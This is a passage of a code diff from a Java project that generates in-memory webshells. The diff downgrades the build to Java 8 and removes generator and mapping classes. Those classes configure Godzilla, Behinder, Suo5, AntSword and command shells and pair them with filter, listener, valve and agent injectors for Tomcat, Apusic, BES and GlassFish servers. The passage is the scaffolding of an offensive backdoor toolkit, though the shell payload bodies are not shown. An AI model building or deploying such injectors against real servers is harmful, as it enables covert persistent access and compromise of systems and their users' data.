sc.setAccessible(true);
|
||||||
|
return (T) sc.newInstance(consArgs);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-25
@@ -4,8 +4,10 @@ plugins {
|
|||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
}
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
}
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb.memsell'
|
group = 'com.reajason.javaweb.memsell'
|
||||||
@@ -16,28 +18,6 @@ test {
|
|||||||
finalizedBy jacocoTestReport
|
finalizedBy jacocoTestReport
|
||||||
}
|
}
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.withType(JavaCompile).configureEach {
|
|
||||||
options.compilerArgs += [
|
|
||||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation project(":common")
|
implementation project(":common")
|
||||||
implementation project(":deserialize")
|
implementation project(":deserialize")
|
||||||
@@ -49,7 +29,7 @@ dependencies {
|
|||||||
implementation 'javax.websocket:javax.websocket-api'
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
implementation 'jakarta.servlet:jakarta.servlet-api'
|
implementation 'jakarta.servlet:jakarta.servlet-api'
|
||||||
|
|
||||||
implementation 'xalan:xalan'
|
// implementation 'xalan:xalan'
|
||||||
implementation 'org.apache.bcel:bcel'
|
implementation 'org.apache.bcel:bcel'
|
||||||
|
|
||||||
implementation 'commons-io:commons-io'
|
implementation 'commons-io:commons-io'
|
||||||
@@ -58,7 +38,7 @@ dependencies {
|
|||||||
implementation 'com.squareup.okhttp3:okhttp'
|
implementation 'com.squareup.okhttp3:okhttp'
|
||||||
implementation 'ch.qos.logback:logback-classic'
|
implementation 'ch.qos.logback:logback-classic'
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2'
|
implementation 'com.alibaba.fastjson2:fastjson2'
|
||||||
implementation 'org.java-websocket:Java-WebSocket'
|
// implementation 'org.java-websocket:Java-WebSocket'
|
||||||
|
|
||||||
implementation 'org.springframework:spring-webmvc'
|
implementation 'org.springframework:spring-webmvc'
|
||||||
implementation 'org.springframework:spring-webflux'
|
implementation 'org.springframework:spring-webflux'
|
||||||
|
|||||||
@@ -1,81 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.AbstractShell;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.memshell.packer.Packers;
|
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import org.apache.commons.codec.binary.Base64;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
public class GeneratorMain {
|
|
||||||
|
|
||||||
public static void main(String[] args) throws IOException {
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellTool(ShellTool.Suo5)
|
|
||||||
.shellType(Constants.FILTER)
|
|
||||||
.targetJreVersion(Opcodes.V1_8)
|
|
||||||
.debug(true)
|
|
||||||
.build();
|
|
||||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
|
||||||
.pass("pass")
|
|
||||||
.key("key")
|
|
||||||
.headerName("User-Agent")
|
|
||||||
.headerValue("test123").build();
|
|
||||||
CommandConfig commandConfig = CommandConfig.builder().paramName("listener").build();
|
|
||||||
|
|
||||||
BehinderConfig behinderConfig = BehinderConfig.builder()
|
|
||||||
.pass("test123")
|
|
||||||
.headerName("User-Agent")
|
|
||||||
.headerValue("test").build();
|
|
||||||
|
|
||||||
Suo5Config suo5Config = Suo5Config.builder()
|
|
||||||
.headerName("User-Agent")
|
|
||||||
.headerValue("test").build();
|
|
||||||
|
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
|
||||||
|
|
||||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, suo5Config);
|
|
||||||
if (generateResult != null) {
|
|
||||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
|
||||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
|
||||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
|
||||||
System.out.println(Packers.ScriptEngine.getInstance().pack(generateResult));
|
|
||||||
// Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
Server server = shellConfig.getServer();
|
|
||||||
AbstractShell shell = server.getShell();
|
|
||||||
if (shell == null) {
|
|
||||||
throw new IllegalArgumentException("Unsupported server");
|
|
||||||
}
|
|
||||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
|
||||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
|
||||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
|
||||||
}
|
|
||||||
|
|
||||||
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SneakyThrows
|
|
||||||
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packers packerInstance) {
|
|
||||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
|
||||||
if (generateResult != null) {
|
|
||||||
return packerInstance.getInstance().pack(generateResult);
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,107 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.stream.Collectors;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/7
|
|
||||||
*/
|
|
||||||
public abstract class AbstractShell {
|
|
||||||
/**
|
|
||||||
* 获取内存马功能所支持的注入类型列表
|
|
||||||
*
|
|
||||||
* @param tool 内存马功能
|
|
||||||
* @return shellTypes
|
|
||||||
*/
|
|
||||||
public List<String> getSupportedShellTypes(ShellTool tool) {
|
|
||||||
return switch (tool) {
|
|
||||||
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
|
|
||||||
case Command -> getCommandShellMap().keySet().stream().toList();
|
|
||||||
case Behinder -> getBehinderShellMap().keySet().stream().toList();
|
|
||||||
case Suo5 -> getSuo5ShellMap().keySet().stream().toList();
|
|
||||||
case AntSword -> getAntSwordShellMap().keySet().stream().toList();
|
|
||||||
default -> Collections.emptyList();
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
Pair<Class<?>, Class<?>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
|
|
||||||
if (shellInjectorPair == null) {
|
|
||||||
throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
|
|
||||||
}
|
|
||||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
|
||||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
|
||||||
|
|
||||||
shellToolConfig.setShellClass(shellClass);
|
|
||||||
|
|
||||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
|
||||||
|
|
||||||
injectorConfig = injectorConfig
|
|
||||||
.toBuilder()
|
|
||||||
.injectorClass(injectorClass)
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.shellClassBytes(shellBytes).build();
|
|
||||||
|
|
||||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
|
||||||
|
|
||||||
return GenerateResult.builder()
|
|
||||||
.shellConfig(shellConfig)
|
|
||||||
.shellToolConfig(shellToolConfig)
|
|
||||||
.injectorConfig(injectorConfig)
|
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
|
||||||
.shellBytes(shellBytes)
|
|
||||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
|
||||||
.injectorBytes(injectorBytes)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
return Collections.emptyMap();
|
|
||||||
}
|
|
||||||
|
|
||||||
private Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> shellMap = switch (shellTool) {
|
|
||||||
case Godzilla -> getGodzillaShellMap();
|
|
||||||
case Command -> getCommandShellMap();
|
|
||||||
case Behinder -> getBehinderShellMap();
|
|
||||||
case Suo5 -> getSuo5ShellMap();
|
|
||||||
case AntSword -> getAntSwordShellMap();
|
|
||||||
default -> throw new UnsupportedOperationException("Unknown shell type: " + shellType);
|
|
||||||
};
|
|
||||||
return shellMap.get(shellType);
|
|
||||||
}
|
|
||||||
|
|
||||||
private byte[] generateShellBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
return switch (shellConfig.getShellTool()) {
|
|
||||||
case Godzilla -> new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
|
|
||||||
case Command -> CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
|
|
||||||
case Behinder -> new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
|
|
||||||
case Suo5 -> new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
|
|
||||||
case AntSword -> new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
|
|
||||||
default -> throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,77 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.apusic.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.injector.ApusicServletInjector;
|
|
||||||
import com.reajason.javaweb.memshell.apusic.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/27
|
|
||||||
*/
|
|
||||||
public class ApusicShell extends AbstractShell {
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(CommandServlet.class, ApusicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, ApusicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, ApusicListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(GodzillaServlet.class, ApusicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, ApusicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, ApusicListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(BehinderServlet.class, ApusicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, ApusicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, ApusicListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(Suo5Servlet.class, ApusicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, ApusicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, ApusicListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(SERVLET, Pair.of(AntSwordServlet.class, ApusicServletInjector.class));
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, ApusicFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, ApusicListenerInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.bes.antsword.AntSwordValve;
|
|
||||||
import com.reajason.javaweb.memshell.bes.behinder.BehinderValve;
|
|
||||||
import com.reajason.javaweb.memshell.bes.command.CommandValve;
|
|
||||||
import com.reajason.javaweb.memshell.bes.godzilla.GodzillaValve;
|
|
||||||
import com.reajason.javaweb.memshell.bes.injector.*;
|
|
||||||
import com.reajason.javaweb.memshell.bes.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.suo5.Suo5Listener;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/26
|
|
||||||
*/
|
|
||||||
public class BesShell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, BesFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, BesListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve.class, BesValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, BesFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, BesListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve.class, BesValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, BesFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, BesListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve.class, BesValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, BesFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, BesListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(Suo5Valve.class, BesValveInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getAntSwordShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(AntSwordFilter.class, BesFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(AntSwordListener.class, BesListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(AntSwordValve.class, BesValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(AntSwordFilterChainAdvisor.class, BesFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(AntSwordFilterChainAdvisor.class, BesContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,104 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.antsword.AntSwordListener;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.behinder.BehinderListener;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.command.CommandListener;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.godzilla.GodzillaListener;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishFilterInjector;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishListenerInjector;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.injector.GlassFishValveInjector;
|
|
||||||
import com.reajason.javaweb.memshell.glassfish.suo5.Suo5Listener;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatContextValveAgentInjector;
|
|
||||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import java.util.LinkedHashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.memshell.config.Constants.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/12
|
|
||||||
*/
|
|
||||||
public class GlassFishShell extends AbstractShell {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(CommandValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(CommandFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(GodzillaFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(BehinderFilter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(JAKARTA_LISTENER, Pair.of(BehinderListener.class, GlassFishListenerInjector.class));
|
|
||||||
map.put(VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(JAKARTA_VALVE, Pair.of(BehinderValve.class, GlassFishValveInjector.class));
|
|
||||||
map.put(AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class));
|
|
||||||
map.put(AGENT_CONTEXT_VALVE, Pair.of(BehinderFilterChainAdvisor.class, TomcatContextValveAgentInjector.class));
|
|
||||||
return map;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getSuo5ShellMap() {
|
|
||||||
Map<String, Pair<Class<?>, Class<?>>> map = new LinkedHashMap<>();
|
|
||||||
map.put(FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(JAKARTA_FILTER, Pair.of(Suo5Filter.class, GlassFishFilterInjector.class));
|
|
||||||
map.put(LISTENER, Pair.of(Suo5Listener.class, GlassFishListenerInjector.class));
|
|
||||||
